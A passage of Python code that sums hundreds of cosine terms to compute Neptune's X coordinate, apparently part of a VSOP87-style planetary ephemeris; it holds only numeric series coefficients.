X0 += 0.00000002328 * math.cos(5.07609916236 + 31.73887900 * self.t)
X0 += 0.00000002372 * math.cos(0.68652074740 + 309.0345051723 * self.t)
X0 += 0.00000002372 * math.cos(3.82811340099 + 309.5221401393 * self.t)
X0 += 0.00000002369 * math.cos(4.33012817739 + 418.9801939608 * self.t)
X0 += 0.00000003007 * math.cos(4.64009260533 + 1437.7814079574 * self.t)
X0 += 0.00000003034 * math.cos(5.98346126252 + 330.8627811417 * self.t)
X0 += 0.00000002345 * math.cos(2.80677153952 + 453.9318358609 * self.t)
X0 += 0.00000003118 * math.cos(3.73398781358 + 1434.81246254079 * self.t)
X0 += 0.00000002324 * math.cos(3.85931736808 + 495.2462652364 * self.t)
X0 += 0.00000002340 * math.cos(5.41992470939 + 452.43031681009 * self.t)
X0 += 0.00000002336 * math.cos(0.04655833240 + 189.591279303 * self.t)
X0 += 0.00000002920 * math.cos(3.78758562864 + 1549.69920442121 * self.t)
X0 += 0.00000002494 * math.cos(0.79353025531 + 1187.57311715899 * self.t)
X0 += 0.00000002692 * math.cos(4.17807622816 + 425.13053311509 * self.t)
X0 += 0.00000002874 * math.cos(4.63267401857 + 1654.2764513481 * self.t)
X0 += 0.00000002809 * math.cos(5.67077170621 + 317.5843407716 * self.t)
X0 += 0.00000002735 * math.cos(3.93990204220 + 1513.05064149171 * self.t)
X0 += 0.00000002949 * math.cos(6.26993364897 + 186.71620997851 * self.t)
X0 += 0.00000002320 * math.cos(0.74326897219 + 487.38195871019 * self.t)
X0 += 0.00000003113 * math.cos(6.20902109610 + 353.28425006961 * self.t)
X0 += 0.00000003086 * math.cos(4.87476303199 + 1230.5990217789 * self.t)
X0 += 0.00000002722 * math.cos(2.16494792915 + 49.6831858161 * self.t)
X0 += 0.00000003064 * math.cos(3.68765217385 + 133.13224006171 * self.t)
X0 += 0.00000003064 * math.cos(3.68765217385 + 132.64460509469 * self.t)
X0 += 0.00000002470 * math.cos(2.78243316001 + 532.3824631329 * self.t)
X0 += 0.00000002640 * math.cos(0.51790972890 + 394.33804701421 * self.t)
X0 += 0.00000002252 * math.cos(1.84613004390 + 22.6507321964 * self.t)
X0 += 0.00000003151 * math.cos(5.26039361613 + 859.77184894361 * self.t)
X0 += 0.00000002671 * math.cos(0.92145640556 + 37.3679532925 * self.t)
X0 += 0.00000002380 * math.cos(0.86687455354 + 429.2751346993 * self.t)
X0 += 0.00000002655 * math.cos(2.72088152594 + 484.1523808627 * self.t)
X0 += 0.00000003005 * math.cos(3.02367934874 + 1929.33933741419 * self.t)
X0 += 0.00000002550 * math.cos(5.60497907633 + 496.9431862658 * self.t)
X0 += 0.00000002290 * math.cos(3.41120190653 + 455.18681390559 * self.t)
X0 += 0.00000002608 * math.cos(3.85525903926 + 422.9580392062 * self.t)
X0 += 0.00000002226 * math.cos(2.09977531258 + 47.82620609231 * self.t)
X0 += 0.00000002233 * math.cos(4.94028872789 + 877.3461408717 * self.t)
X0 += 0.00000002764 * math.cos(0.83501700112 + 356.68058425589 * self.t)
X0 += 0.00000002719 * math.cos(1.98953734068 + 177.5823711926 * self.t)
X0 += 0.00000002999 * math.cos(2.06885612973 + 1926.37039199759 * self.t)
X0 += 0.00000002693 * math.cos(3.57972778548 + 6284.8041401832 * self.t)
X0 += 0.00000002369 * math.cos(1.19578023344 + 70.88081446661 * self.t)
X0 += 0.00000002498 * math.cos(3.71851216671 + 315.1512144318 * self.t)
X0 += 0.00000002204 * math.cos(3.20466206592 + 442.886135597 * self.t)
X0 += 0.00000002261 * math.cos(3.32534753019 + 621.2335891349 * self.t)
X0 += 0.00000002213 * math.cos(6.16263836668 + 1189.0575898673 * self.t)
X0 += 0.00000002492 * math.cos(2.67366070604 + 406.9712858504 * self.t)
X0 += 0.00000002976 * math.cos(1.45402284302 + 1014.1039783882 * self.t)
X0 += 0.00000002840 * math.cos(5.35710509350 + 522.3336006103 * self.t)
X0 += 0.00000002340 * math.cos(1.72448626630 + 440.43845504219 * self.t)
X0 += 0.00000003012 * math.cos(1.13512104183 + 15.9096922111 * self.t)
X0 += 0.00000003012 * math.cos(4.27671369542 + 16.3973271781 * self.t)
X0 += 0.00000002372 * math.cos(0.24227395275 + 132.5964209849 * self.t)
X0 += 0.00000002232 * math.cos(2.42168492591 + 158.12984768129 * self.t)
X0 += 0.00000002961 * math.cos(4.37134416172 + 286.3524038135 * self.t)
X0 += 0.00000002961 * math.cos(4.37134416172 + 286.8400387805 * self.t)
# Neptune_X1 (t) // 342 terms of order 1
X1 = 0
X1 += 0.00357822049 * math.cos(4.60537437341 + 0.2438174835 * self.t)
X1 += 0.00256200629 * math.cos(2.01693264233 + 36.892380413 * self.t)
X1 += 0.00242677799 * math.cos(5.46293481092 + 39.86132582961 * self.t)
X1 += 0.00106073143 * math.cos(3.07856435709 + 37.88921815429 * self.t)
X1 += 0.00103735195 * math.cos(6.08270773807 + 38.3768531213 * self.t)
X1 += 0.00118508231 * math.cos(2.88623136735 + 76.50988875911 * self.t)
X1 += 0.00021930692 * math.cos(3.20019569049 + 35.40790770471 * self.t)
X1 += 0.00017445772 * math.cos(4.26396070854 + 41.3457985379 * self.t)
X1 += 0.00013038843 * math.cos(5.36684741537 + 3.21276290011 * self.t)
X1 += 0.00004928885 * math.cos(2.08893204170 + 73.5409433425 * self.t)
X1 += 0.00002742686 * math.cos(4.06389633495 + 77.9943614674 * self.t)
X1 += 0.00002155134 * math.cos(4.11881068429 + 4.6972356084 * self.t)
X1 += 0.00001882800 * math.cos(4.42038284259 + 33.9234349964 * self.t)
X1 += 0.00001572888 * math.cos(1.07810551784 + 114.6429243969 * self.t)
X1 += 0.00001326507 * math.cos(6.02985868883 + 75.0254160508 * self.t)
X1 += 0.00001343094 * math.cos(3.03838214796 + 42.83027124621 * self.t)
X1 += 0.00000897979 * math.cos(4.26993024752 + 426.8420083595 * self.t)
X1 += 0.00000865617 * math.cos(1.66618456177 + 37.8555882595 * self.t)
X1 += 0.00000849963 * math.cos(5.81599535394 + 38.89811798311 * self.t)
X1 += 0.00000922754 * math.cos(3.34516686314 + 72.05647063421 * self.t)
X1 += 0.00000726258 * math.cos(4.24833812431 + 36.404745446 * self.t)
X1 += 0.00000778220 * math.cos(5.84479856092 + 206.42936592071 * self.t)
X1 += 0.00000754025 * math.cos(5.33205816073 + 220.6564599223 * self.t)
X1 += 0.00000607406 * math.cos(0.10576615596 + 1059.6257476727 * self.t)
X1 += 0.00000571831 * math.cos(2.42930874906 + 522.8212355773 * self.t)
X1 += 0.00000560995 * math.cos(1.91555986158 + 537.0483295789 * self.t)
X1 += 0.00000501078 * math.cos(1.71335109406 + 28.81562556571 * self.t)
X1 += 0.00000493238 * math.cos(5.24702261334 + 39.3736908626 * self.t)
X1 += 0.00000474802 * math.cos(4.40715596351 + 98.6561710411 * self.t)
X1 += 0.00000453975 * math.cos(1.71443209341 + 35.9291725665 * self.t)
X1 += 0.00000471731 * math.cos(4.84217171915 + 1.7282901918 * self.t)
X1 += 0.00000410057 * math.cos(5.76579953705 + 40.8245336761 * self.t)
X1 += 0.00000366899 * math.cos(5.76755572930 + 47.9380806769 * self.t)
X1 += 0.00000450109 * math.cos(1.25670451550 + 76.0222537921 * self.t)
X1 += 0.00000354347 * math.cos(6.27109348494 + 1.24065522479 * self.t)
X1 += 0.00000300159 * math.cos(2.88687992256 + 6.1817083167 * self.t)
X1 += 0.00000327501 * math.cos(4.20479564636 + 33.43580002939 * self.t)
X1 += 0.00000174973 * math.cos(5.64027558321 + 32.4389622881 * self.t)
X1 += 0.00000171503 * math.cos(4.43985554308 + 34.1840674273 * self.t)
X1 += 0.00000156749 * math.cos(2.59545084410 + 79.47883417571 * self.t)
X1 += 0.00000152549 * math.cos(0.58219894744 + 30.300098274 * self.t)
X1 += 0.00000150775 * math.cos(3.03954929901 + 42.5696388153 * self.t)
X1 += 0.00000162280 * math.cos(0.79977049351 + 31.2633061205 * self.t)
X1 += 0.00000131609 * math.cos(1.62895622934 + 7.83293736379 * self.t)
X1 += 0.00000136159 * math.cos(4.57878446789 + 70.5719979259 * self.t)
X1 += 0.00000134616 * math.cos(0.39184091634 + 45.49040012211 * self.t)
X1 += 0.00000116304 * math.cos(0.61710594601 + 46.4536079686 * self.t)
X1 += 0.00000115918 * math.cos(1.81843338530 + 44.31474395451 * self.t)
X1 += 0.00000110293 * math.cos(6.26561089969 + 35.4560918145 * self.t)
X1 += 0.00000099282 * math.cos(5.06218386285 + 2.7251279331 * self.t)
X1 += 0.00000099914 * math.cos(1.21626942611 + 41.2976144281 * self.t)
X1 += 0.00000108706 * math.cos(3.09142093314 + 113.15845168861 * self.t)
X1 += 0.00000088965 * math.cos(4.26680850699 + 60.52313540329 * self.t)
X1 += 0.00000086886 * math.cos(5.46872067794 + 31.9513273211 * self.t)
X1 += 0.00000072232 * math.cos(3.50587405737 + 640.1411037975 * self.t)
X1 += 0.00000086985 * math.cos(4.80098575405 + 419.72846135871 * self.t)
X1 += 0.00000073430 * math.cos(4.36511226727 + 70.08436295889 * self.t)
X1 += 0.00000053395 * math.cos(4.46520807878 + 433.9555553603 * self.t)
X1 += 0.00000057451 * math.cos(1.08003733120 + 213.5429129215 * self.t)
X1 += 0.00000051458 * math.cos(4.01726374522 + 69.3963417583 * self.t)
X1 += 0.00000048797 * math.cos(6.01365170443 + 111.67397898031 * self.t)
X1 += 0.00000048557 * math.cos(6.24808481100 + 2.6769438233 * self.t)
X1 += 0.00000042206 * math.cos(3.23823062186 + 74.53778108379 * self.t)
X1 += 0.00000042550 * math.cos(1.67247318349 + 7.66618102501 * self.t)
X1 += 0.00000039462 * math.cos(5.84051041865 + 31.7845709823 * self.t)
X1 += 0.00000039445 * math.cos(0.94630986910 + 12.77399045571 * self.t)
X1 += 0.00000042389 * math.cos(5.59019905902 + 110.189506272 * self.t)
X1 += 0.00000044118 * math.cos(0.44615133445 + 1589.3167127673 * self.t)
X1 += 0.00000037988 * math.cos(2.73850879415 + 6.3484646555 * self.t)
X1 += 0.00000037802 * math.cos(5.98781130211 + 14.258463164 * self.t)
X1 += 0.00000036280 * math.cos(6.27894536142 + 273.8222308413 * self.t)
X1 += 0.00000037247 * math.cos(4.62968774107 + 73.0533083755 * self.t)
X1 += 0.00000036282 * math.cos(2.85336450932 + 84.5866436064 * self.t)
X1 += 0.00000040018 * math.cos(4.27418471085 + 4.4366031775 * self.t)
X1 += 0.00000032400 * math.cos(1.64328879813 + 44.96913526031 * self.t)
X1 += 0.00000031842 * math.cos(5.16652228087 + 34.9202727377 * self.t)
X1 += 0.00000032037 * math.cos(2.94551844856 + 27.3311528574 * self.t)
X1 += 0.00000034456 * math.cos(3.37152599360 + 529.9347825781 * self.t)
X1 += 0.00000031208 * math.cos(1.73420111381 + 1052.51220067191 * self.t)
X1 += 0.00000030002 * math.cos(2.33639558082 + 1066.7392946735 * self.t)
X1 += 0.00000033805 * math.cos(6.04114496470 + 149.8070146181 * self.t)
X1 += 0.00000033096 * math.cos(2.45794089359 + 116.12739710521 * self.t)
X1 += 0.00000030571 * math.cos(4.02151161164 + 22.3900997655 * self.t)
X1 += 0.00000024020 * math.cos(0.23821463973 + 63.9797157869 * self.t)
X1 += 0.00000023780 * math.cos(4.34619784366 + 105.76971804189 * self.t)
X1 += 0.00000023110 * math.cos(2.51348904373 + 23.87457247379 * self.t)
X1 += 0.00000022233 * math.cos(1.21582777350 + 174.9222423167 * self.t)
X1 += 0.00000021377 * math.cos(3.74139728076 + 316.6356871401 * self.t)
X1 += 0.00000025400 * math.cos(4.52702077197 + 106.73292588839 * self.t)
X1 += 0.00000020754 * math.cos(0.94473828111 + 5.6604434549 * self.t)
X1 += 0.00000025572 * math.cos(5.46068636869 + 529.44714761109 * self.t)
X1 += 0.00000019878 * math.cos(1.01805940417 + 32.9602271499 * self.t)
X1 += 0.00000019754 * math.cos(4.49000124955 + 49.42255338521 * self.t)
X1 += 0.00000019241 * math.cos(6.01413524726 + 7.14491616321 * self.t)
X1 += 0.00000017979 * math.cos(1.48478132886 + 62.4952430786 * self.t)
X1 += 0.00000019513 * math.cos(5.64767624982 + 68.5998902506 * self.t)
X1 += 0.00000018273 * math.cos(5.20130356006 + 227.77000692311 * self.t)
X1 += 0.00000017552 * math.cos(5.80350239388 + 69.0875252176 * self.t)
X1 += 0.00000016704 * math.cos(3.94483252805 + 40.8581635709 * self.t)
X1 += 0.00000016996 * math.cos(1.10449263633 + 91.54262404029 * self.t)
X1 += 0.00000016800 * math.cos(0.51632981099 + 30.4668546128 * self.t)
X1 += 0.00000016800 * math.cos(0.51632981099 + 30.95448957981 * self.t)
X1 += 0.00000016400 * math.cos(5.02426208775 + 33.26904369061 * self.t)
X1 += 0.00000017242 * math.cos(0.18352088447 + 11.55015017831 * self.t)
X1 += 0.00000015590 * math.cos(1.99260946960 + 37.1048287341 * self.t)
X1 += 0.00000015590 * math.cos(5.48957045033 + 39.6488775085 * self.t)
X1 += 0.00000015469 * math.cos(0.19931591320 + 43.79347909271 * self.t)
X1 += 0.00000016590 * math.cos(2.76837508684 + 33.71098667531 * self.t)
X1 += 0.00000019347 * math.cos(5.63498287914 + 152.77596003471 * self.t)
X1 += 0.00000014994 * math.cos(2.71995630411 + 319.06881347989 * self.t)
X1 += 0.00000014395 * math.cos(0.95950619453 + 110.45013870291 * self.t)
X1 += 0.00000015528 * math.cos(1.16348592635 + 79.43065006591 * self.t)
X1 += 0.00000013727 * math.cos(2.45811249773 + 43.484662552 * self.t)
X1 += 0.00000013988 * math.cos(3.96979676090 + 4.2096006414 * self.t)
X1 += 0.00000014467 * math.cos(0.42164709009 + 108.70503356371 * self.t)
X1 += 0.00000016652 * math.cos(3.17617180933 + 304.84171947829 * self.t)
X1 += 0.00000015153 * math.cos(3.21783791411 + 72.31710306511 * self.t)
X1 += 0.00000012810 * math.cos(2.37864271463 + 11.2895177474 * self.t)
X1 += 0.00000012751 * math.cos(0.61424962834 + 45.7992166628 * self.t)
X1 += 0.00000013293 * math.cos(4.71511827202 + 43.0427195673 * self.t)
X1 += 0.00000012751 * math.cos(2.55685741962 + 515.70768857651 * self.t)
X1 += 0.00000011616 * math.cos(2.50185569269 + 97.17169833279 * self.t)
X1 += 0.00000011538 * math.cos(6.20327139591 + 633.0275567967 * self.t)
X1 += 0.00000011046 * math.cos(1.26188662646 + 25.8466801491 * self.t)
X1 += 0.00000011032 * math.cos(3.82567311622 + 4.8639919472 * self.t)
X1 += 0.00000011189 * math.cos(3.94939417077 + 83.1021708981 * self.t)
X1 += 0.00000010860 * math.cos(0.38739756984 + 9.8050450391 * self.t)
X1 += 0.00000010958 * math.cos(1.48375898962 + 415.04804069769 * self.t)
X1 += 0.00000010244 * math.cos(0.26615444717 + 71.09326278771 * self.t)
X1 += 0.00000011427 * math.cos(1.50679043329 + 129.6756596781 * self.t)
X1 += 0.00000009895 * math.cos(5.62468142972 + 251.6759485593 * self.t)
X1 += 0.00000009802 * math.cos(1.83814841533 + 44.48150029329 * self.t)
X1 += 0.00000011029 * math.cos(4.69741395112 + 143.38148881789 * self.t)
X1 += 0.00000009235 * math.cos(5.99370019321 + 199.3158189199 * self.t)
X1 += 0.00000008899 * math.cos(3.54958918415 + 7.3573644843 * self.t)
X1 += 0.00000007746 * math.cos(5.89688581764 + 103.3365917021 * self.t)
X1 += 0.00000008691 * math.cos(3.86130807292 + 32.7477788288 * self.t)
X1 += 0.00000007714 * math.cos(5.08136079606 + 65.46418849521 * self.t)
X1 += 0.00000008007 * math.cos(1.80952555463 + 544.1618765797 * self.t)
X1 += 0.00000007513 * math.cos(1.47497152514 + 69.6087900794 * self.t)
X1 += 0.00000007336 * math.cos(5.00489054996 + 15.7429358723 * self.t)
X1 += 0.00000007195 * math.cos(6.14029832936 + 949.4194264533 * self.t)
X1 += 0.00000009601 * math.cos(0.96952505042 + 80.963306884 * self.t)
X1 += 0.00000008094 * math.cos(3.27383873772 + 526.7533888404 * self.t)
X1 += 0.00000008109 * math.cos(1.06293290956 + 533.1161763158 * self.t)
X1 += 0.00000006906 * math.cos(5.27751864757 + 137.2768416459 * self.t)
X1 += 0.00000007455 * math.cos(5.82601593331 + 105.2484531801 * self.t)
X1 += 0.00000007826 * math.cos(4.02401038086 + 77.0311536209 * self.t)
X1 += 0.00000006529 * math.cos(0.86598314454 + 65.2035560643 * self.t)
X1 += 0.00000007134 * math.cos(3.62090018772 + 44.00592741381 * self.t)
X1 += 0.00000006186 * math.cos(2.42103444520 + 31.4757544416 * self.t)
X1 += 0.00000006186 * math.cos(2.42103444520 + 30.9881194746 * self.t)
X1 += 0.00000007698 * math.cos(0.17876132177 + 14.47091148511 * self.t)
X1 += 0.00000007434 * math.cos(5.53413189412 + 146.8380692015 * self.t)
X1 += 0.00000006317 * math.cos(0.53538901275 + 66.9486612035 * self.t)
X1 += 0.00000006903 * math.cos(6.20818943193 + 75.98862389731 * self.t)
X1 += 0.00000005591 * math.cos(1.90701487438 + 448.98829064149 * self.t)
X1 += 0.00000006425 * math.cos(5.04706195455 + 678.27413943531 * self.t)
X1 += 0.00000005483 * math.cos(3.18327336885 + 34.44469985821 * self.t)
X1 += 0.00000005483 * math.cos(4.29890655108 + 42.3090063844 * self.t)
X1 += 0.00000005519 * math.cos(2.84195707915 + 853.4401992355 * self.t)
X1 += 0.00000005483 * math.cos(3.53790147295 + 100.14064374939 * self.t)
X1 += 0.00000005483 * math.cos(3.53790147295 + 100.6282787164 * self.t)
X1 += 0.00000006288 * math.cos(1.03240051727 + 143.9027536797 * self.t)
X1 += 0.00000006239 * math.cos(5.78066710550 + 17.76992530181 * self.t)
X1 += 0.00000005246 * math.cos(5.09114965169 + 209.6107596584 * self.t)
X1 += 0.00000005331 * math.cos(3.26471064810 + 45.9659730016 * self.t)
X1 += 0.00000005131 * math.cos(6.10583196953 + 217.4750661846 * self.t)
X1 += 0.00000005325 * math.cos(4.39759756568 + 19.2543980101 * self.t)
X1 += 0.00000005172 * math.cos(0.86928942503 + 25.3590451821 * self.t)
X1 += 0.00000005139 * math.cos(2.60427452606 + 6.86972951729 * self.t)
X1 += 0.00000005992 * math.cos(1.19287924990 + 9.3174100721 * self.t)
X1 += 0.00000005011 * math.cos(3.34804654196 + 38.85242600079 * self.t)
X1 += 0.00000004975 * math.cos(1.43964900757 + 525.2543619171 * self.t)
X1 += 0.00000004910 * math.cos(5.04787040559 + 45.277951801 * self.t)
X1 += 0.00000005250 * math.cos(4.87798510402 + 0.719390363 * self.t)
X1 += 0.00000004731 * math.cos(1.56230403811 + 40.3825906914 * self.t)
X1 += 0.00000004731 * math.cos(2.77828322823 + 36.3711155512 * self.t)
X1 += 0.00000005910 * math.cos(6.11804979728 + 6168.43292559449 * self.t)
X1 += 0.00000004700 * math.cos(6.23394030506 + 50.9070260935 * self.t)
X1 += 0.00000005127 * math.cos(0.06949696047 + 140.9338082631 * self.t)
X1 += 0.00000005321 * math.cos(3.67018745291 + 1104.87233031131 * self.t)
X1 += 0.00000006339 * math.cos(2.59865692618 + 10175.3963280567 * self.t)
X1 += 0.00000004983 * math.cos(3.03193615352 + 1090.6452363097 * self.t)
X1 += 0.00000005487 * math.cos(4.85218420019 + 180.03005174739 * self.t)
X1 += 0.00000004560 * math.cos(3.95095239655 + 323.74923414091 * self.t)
X1 += 0.00000004689 * math.cos(1.24271255508 + 1068.22376738181 * self.t)
X1 += 0.00000005562 * math.cos(1.26401999292 + 10098.64262181409 * self.t)
X1 += 0.00000004432 * math.cos(2.40638908148 + 415.7963080956 * self.t)
X1 += 0.00000004456 * math.cos(6.17485306628 + 235.68919520349 * self.t)
X1 += 0.00000004289 * math.cos(5.97528879519 + 1051.0277279636 * self.t)
X1 += 0.00000004145 * math.cos(3.13378236518 + 33.6964324603 * self.t)
X1 += 0.00000004167 * math.cos(1.72807331665 + 416.532513406 * self.t)
X1 += 0.00000004107 * math.cos(2.49036069416 + 61.01077037031 * self.t)
X1 += 0.00000004088 * math.cos(5.45739808026 + 423.66061462181 * self.t)
X1 += 0.00000005027 * math.cos(4.43953537205 + 21.7020785649 * self.t)
X1 += 0.00000004030 * math.cos(5.01269280095 + 216.72430665921 * self.t)
X1 += 0.00000004278 * math.cos(4.65333719777 + 310.4707937708 * self.t)
X1 += 0.00000004013 * math.cos(1.39689438468 + 104275.10267753768 * self.t)
X1 += 0.00000004505 * math.cos(1.22507263591 + 291.9478482112 * self.t)
X1 += 0.00000003959 * math.cos(6.18034607330 + 210.36151918381 * self.t)
X1 += 0.00000003962 * math.cos(4.02082978591 + 978.93988816699 * self.t)
X1 += 0.00000005561 * math.cos(1.74843583918 + 1409.47023230609 * self.t)
X1 += 0.00000005073 * math.cos(3.58205424554 + 1498.3359125231 * self.t)
X1 += 0.00000004227 * math.cos(1.48715312131 + 534.38820070301 * self.t)
X1 += 0.00000004054 * math.cos(4.02884108627 + 430.02340209721 * self.t)
X1 += 0.00000003863 * math.cos(2.24264031920 + 1127.50624756031 * self.t)
X1 += 0.00000004367 * math.cos(1.71153359581 + 58.9837809408 * self.t)
X1 += 0.00000004694 * math.cos(3.33961949377 + 77.5067265004 * self.t)
X1 += 0.00000004144 * math.cos(3.59057653937 + 518.1408149163 * self.t)
X1 += 0.00000004289 * math.cos(3.29776439152 + 921.3206991231 * self.t)
X1 += 0.00000004039 * math.cos(3.79987840474 + 1622.76932774409 * self.t)
X1 += 0.00000005180 * math.cos(5.37115331697 + 99.1438060081 * self.t)
X1 += 0.00000004845 * math.cos(6.04321981604 + 136.78920667889 * self.t)
X1 += 0.00000004827 * math.cos(2.78459346340 + 418.2439886504 * self.t)
X1 += 0.00000003722 * math.cos(0.22932453326 + 1065.2548219652 * self.t)
X1 += 0.00000004729 * math.cos(3.76762324044 + 421.212934067 * self.t)
X1 += 0.00000003490 * math.cos(5.25995346649 + 986.8041946932 * self.t)
X1 += 0.00000003715 * math.cos(6.02151166051 + 254.10907489909 * self.t)
X1 += 0.00000003488 * math.cos(1.23861297869 + 187.9400502559 * self.t)
X1 += 0.00000003989 * math.cos(3.79961685835 + 95.7354097343 * self.t)
X1 += 0.00000003603 * math.cos(0.65230587403 + 67.1154175423 * self.t)
X1 += 0.00000003530 * math.cos(2.51065807549 + 24.36220744081 * self.t)
X1 += 0.00000003538 * math.cos(3.09031960755 + 57.4993082325 * self.t)
X1 += 0.00000003838 * math.cos(1.99815683749 + 979.90309601349 * self.t)
X1 += 0.00000003615 * math.cos(3.17553643085 + 493.2862196486 * self.t)
X1 += 0.00000003457 * math.cos(0.22865254260 + 807.70598162989 * self.t)
X1 += 0.00000003648 * math.cos(3.01000228275 + 647.25465079831 * self.t)
X1 += 0.00000004048 * math.cos(4.68171378592 + 979.69064769239 * self.t)
X1 += 0.00000004414 * math.cos(3.57495606042 + 1062.59469308931 * self.t)
X1 += 0.00000003631 * math.cos(2.31921127570 + 486.1726726478 * self.t)
X1 += 0.00000003347 * math.cos(5.70639780704 + 151.2914873264 * self.t)
X1 += 0.00000003305 * math.cos(0.52158954660 + 1544.07013012871 * self.t)
X1 += 0.00000003428 * math.cos(1.68792809396 + 107.2205608554 * self.t)
X1 += 0.00000003286 * math.cos(5.12949558917 + 1131.6990332543 * self.t)
X1 += 0.00000003389 * math.cos(1.65565102713 + 28.98238190449 * self.t)
X1 += 0.00000003353 * math.cos(3.87388681549 + 10289.7954349701 * self.t)
X1 += 0.00000003214 * math.cos(2.40799794941 + 569.5522909242 * self.t)
X1 += 0.00000003210 * math.cos(5.76688710335 + 114.1552894299 * self.t)
X1 += 0.00000003353 * math.cos(3.19692974184 + 157.8837694654 * self.t)
X1 += 0.00000003339 * math.cos(3.69632773816 + 443.0985839181 * self.t)
X1 += 0.00000003188 * math.cos(1.05807532391 + 361.13400238079 * self.t)
X1 += 0.00000003390 * math.cos(0.82325646834 + 1558.2972241303 * self.t)
X1 += 0.00000003933 * math.cos(0.51543027693 + 313.43973918739 * self.t)
X1 += 0.00000003131 * math.cos(5.23811887945 + 275.3067035496 * self.t)
X1 += 0.00000003156 * math.cos(4.66486358528 + 431.8404353331 * self.t)
X1 += 0.00000003993 * math.cos(3.33001170426 + 67.6366824041 * self.t)
X1 += 0.00000003708 * math.cos(1.81916567333 + 500.39976664941 * self.t)
X1 += 0.00000004051 * math.cos(2.84746860357 + 59.038662695 * self.t)
X1 += 0.00000003757 * math.cos(3.59917867608 + 296.4012663361 * self.t)
X1 += 0.00000003138 * math.cos(5.35145867078 + 347.1193567003 * self.t)
X1 += 0.00000003086 * math.cos(3.24315098824 + 392.9017584157 * self.t)
X1 += 0.00000003466 * math.cos(0.02941146445 + 215.1941419686 * self.t)
X1 += 0.00000003139 * math.cos(4.67079139650 + 159.36824217371 * self.t)
X1 += 0.00000003466 * math.cos(1.90282193275 + 2145.34674583789 * self.t)
X1 += 0.00000003737 * math.cos(1.95939265626 + 449.0364747513 * self.t)
X1 += 0.00000003286 * math.cos(3.39700619187 + 435.44002806861 * self.t)
X1 += 0.00000003043 * math.cos(3.45909355839 + 2.20386307129 * self.t)
X1 += 0.00000003999 * math.cos(1.21766663097 + 6245.1866318371 * self.t)
X1 += 0.00000003999 * math.cos(4.35925928456 + 6244.69899687009 * self.t)
X1 += 0.00000002999 * math.cos(1.64598289911 + 526.00262931501 * self.t)
X1 += 0.00000003014 * math.cos(3.95092279768 + 1054.94532701169 * self.t)
X1 += 0.00000003091 * math.cos(2.95397758261 + 42.997027585 * self.t)
X1 += 0.00000003274 * math.cos(1.10162661548 + 736.1203310153 * self.t)
X1 += 0.00000002965 * math.cos(2.69144881941 + 533.8669358412 * self.t)
X1 += 0.00000003149 * math.cos(0.77764778909 + 103.7639804718 * self.t)
X1 += 0.00000003610 * math.cos(3.04477019722 + 55.05162767771 * self.t)
X1 += 0.00000002937 * math.cos(4.36852075939 + 385.2523923381 * self.t)
X1 += 0.00000002903 * math.cos(5.92315544183 + 117.5636857037 * self.t)
X1 += 0.00000002968 * math.cos(2.85171539624 + 613.31440085451 * self.t)
X1 += 0.00000003097 * math.cos(2.85040396879 + 1395.24313830449 * self.t)
X1 += 0.00000002931 * math.cos(5.17875295945 + 202.4972126576 * self.t)
X1 += 0.00000003013 * math.cos(3.06605929280 + 121.2352065359 * self.t)
X1 += 0.00000003206 * math.cos(1.29027400076 + 53.40958840249 * self.t)
X1 += 0.00000003269 * math.cos(5.16847517364 + 480.00777927849 * self.t)
X1 += 0.00000003948 * math.cos(3.85972628729 + 112.8832650427 * self.t)
X1 += 0.00000002824 * math.cos(1.57846497121 + 176.406715025 * self.t)
X1 += 0.00000002827 * math.cos(1.93940329091 + 429.81095377611 * self.t)
X1 += 0.00000003348 * math.cos(5.12243609352 + 6284.8041401832 * self.t)
X1 += 0.00000002862 * math.cos(0.86276885894 + 384.02855206069 * self.t)
X1 += 0.00000003228 * math.cos(0.42457598020 + 52.6039471229 * self.t)
X1 += 0.00000003446 * math.cos(3.75606585057 + 62.0076081116 * self.t)
X1 += 0.00000003096 * math.cos(3.26760360935 + 71.82946809809 * self.t)
X1 += 0.00000003031 * math.cos(4.66996407487 + 494.2348732801 * self.t)
X1 += 0.00000003021 * math.cos(1.39292760491 + 328.5964111407 * self.t)
X1 += 0.00000002731 * math.cos(2.36952809744 + 432.471082652 * self.t)
X1 += 0.00000003171 * math.cos(0.25949036332 + 10215.0138364028 * self.t)
X1 += 0.00000002674 * math.cos(0.72177739894 + 158.12984768129 * self.t)
X1 += 0.00000002901 * math.cos(5.80027365050 + 559.4697985068 * self.t)
X1 += 0.00000002631 * math.cos(5.78146252380 + 2008.8013566425 * self.t)
X1 += 0.00000002695 * math.cos(5.11715867535 + 81.61769818981 * self.t)
X1 += 0.00000002695 * math.cos(1.97556602176 + 81.13006322279 * self.t)
X1 += 0.00000002721 * math.cos(2.68965946829 + 326.1823604807 * self.t)
X1 += 0.00000002775 * math.cos(5.84695952836 + 457.8614969965 * self.t)
X1 += 0.00000003054 * math.cos(1.52217085552 + 6281.8351947666 * self.t)
X1 += 0.00000002852 * math.cos(4.47706032032 + 186.71620997851 * self.t)
X1 += 0.00000002538 * math.cos(0.16145086268 + 111.18634401329 * self.t)
X1 += 0.00000002835 * math.cos(4.50055998275 + 419.50145882259 * self.t)
X1 += 0.00000002868 * math.cos(2.09813621145 + 844.56699288049 * self.t)
X1 += 0.00000002530 * math.cos(1.04013419881 + 1050.7525413177 * self.t)
X1 += 0.00000002843 * math.cos(2.58892628620 + 830.3398988789 * self.t)
X1 += 0.00000002848 * math.cos(3.12250765680 + 659.36662477269 * self.t)
X1 += 0.00000003031 * math.cos(4.13022602708 + 406.3469551246 * self.t)
X1 += 0.00000002907 * math.cos(5.28583383732 + 573.6968925084 * self.t)
X1 += 0.00000002536 * math.cos(3.44172011173 + 82.6145359311 * self.t)
X1 += 0.00000002957 * math.cos(0.45041658093 + 947.70795120889 * self.t)
X1 += 0.00000003321 * math.cos(2.30536254604 + 449.9996825978 * self.t)
X1 += 0.00000003117 * math.cos(3.17172140219 + 457.32567791969 * self.t)
X1 += 0.00000002902 * math.cos(2.94761781535 + 10212.0448909862 * self.t)
X1 += 0.00000002459 * math.cos(2.17142711813 + 450.73339578069 * self.t)
X1 += 0.00000002557 * math.cos(2.89791026532 + 525.4813644532 * self.t)
X1 += 0.00000002624 * math.cos(1.78027142371 + 946.2234785006 * self.t)
X1 += 0.00000002417 * math.cos(4.80936350850 + 351.5727748252 * self.t)
X1 += 0.00000002454 * math.cos(4.84992044892 + 196.01680510321 * self.t)
X1 += 0.00000002585 * math.cos(0.99587951695 + 248.70700314271 * self.t)
X1 += 0.00000002549 * math.cos(1.80324449988 + 1062.80714141041 * self.t)
X1 += 0.00000002615 * math.cos(2.49010683388 + 425.13053311509 * self.t)
